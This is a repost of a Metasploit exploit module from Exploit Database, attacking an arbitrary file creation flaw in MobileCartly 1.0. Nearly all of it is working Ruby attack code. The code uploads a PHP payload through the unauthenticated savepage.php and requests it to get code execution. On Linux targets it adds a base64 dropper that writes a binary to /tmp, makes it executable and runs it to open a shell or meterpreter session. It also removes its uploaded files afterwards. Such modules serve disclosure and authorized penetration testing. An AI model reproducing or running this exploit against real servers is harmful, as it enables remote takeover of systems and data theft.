MobileCartly 1.0 – Arbitrary File Creation (Metasploit)

• Exploit Database
• 49 阅读

• 作者： Metasploit
  日期： 2012-09-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/21079/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::EXE
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
  			'Description'=> %q{
  				This module exploits a vulnerability in MobileCartly.The savepage.php file
  				does not do any permission checks before using file_put_contents(), which
  				allows any user to have direct control of that function to create files
  				under the 'pages' directory by default, or anywhere else as long as the user
  				has WRITE permission.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
  					'sinn3r' #Metasploit
  				],
  			'References' =>
  				[
  					['EDB', '20422']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "none"
  				},
  			'Platform' => ['linux', 'php'],
  			'Targets'=>
  				[
  					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }],
  					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Aug 10 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])
  			], self.class)
  	end
  
  
  	def check
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		base = File.dirname("#{target_uri.path}.")
  
  		res = send_request_raw({'uri'=>"#{base}/index.php"})
  		if res and res.body =~ /MobileCartly/
  			return Exploit::CheckCode::Detected
  		else
  			return Exploit::CheckCode::Safe
  		end
  	end
  
  
  	def get_write_exec_payload(fname, data)
  		p = Rex::Text.encode_base64(generate_payload_exe)
  		php = %Q|
  		<?php
  		$f = fopen("#{fname}", "wb");
  		fwrite($f, base64_decode("#{p}"));
  		fclose($f);
  		exec("chmod 777 #{fname}");
  		exec("#{fname}");
  		?>
  		|
  		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
  		return php
  	end
  
  
  	def on_new_session(cli)
  		if cli.type == "meterpreter"
  			cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  		end
  
  		@clean_files.each do |f|
  			print_status("#{@peer} - Removing: #{f}")
  			begin
  				if cli.type == 'meterpreter'
  					cli.fs.file.rm(f)
  				else
  					cli.shell_command_token("rm #{f}")
  				end
  			rescue ::Exception => e
  				print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
  			end
  		end
  	end
  
  
  	def exploit
  		@peer = "#{rhost}:#{rport}"
  
  		#
  		# Init target path
  		#
  		target_uri.path << '/' if target_uri.path[-1,1] != '/'
  		base = File.dirname("#{target_uri.path}.")
  
  		#
  		# Configure payload names
  		#
  		php_fname = Rex::Text.rand_text_alpha(5) + ".php"
  		bin_fname = Rex::Text.rand_text_alpha(5)
  		@clean_files = [php_fname]
  
  		#
  		# Generate a payload based on target
  		#
  		case target['Platform']
  		when 'php'
  			p = "<?php #{payload.encoded} ?>"
  		when 'linux'
  			bin_fname << '.bin'
  			@clean_files << bin_fname
  			bin = generate_payload_exe
  			p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
  		end
  
  		#
  		# Upload payload
  		#
  		print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
  		res = send_request_cgi({
  			'uri' => "#{base}/includes/savepage.php",
  			'vars_get' => {
  				'savepage'=> php_fname,
  				'pagecontent' => p
  			}
  		})
  
  		if not res
  			print_error("#{@peer} - No response from server, will not continue.")
  			return
  		end
  
  		#
  		# Run payload
  		#
  		print_status("#{@peer} - Requesting '#{php_fname}'")
  		send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})
  
  		handler
  	end
  end
  
  =begin
  *facepalm*
  
  <?php
  	$page = "../pages/" . $_REQUEST['savepage'];
  	$content = $_REQUEST['pagecontent'];
  	file_put_contents($page, $content);
  ?>
  =end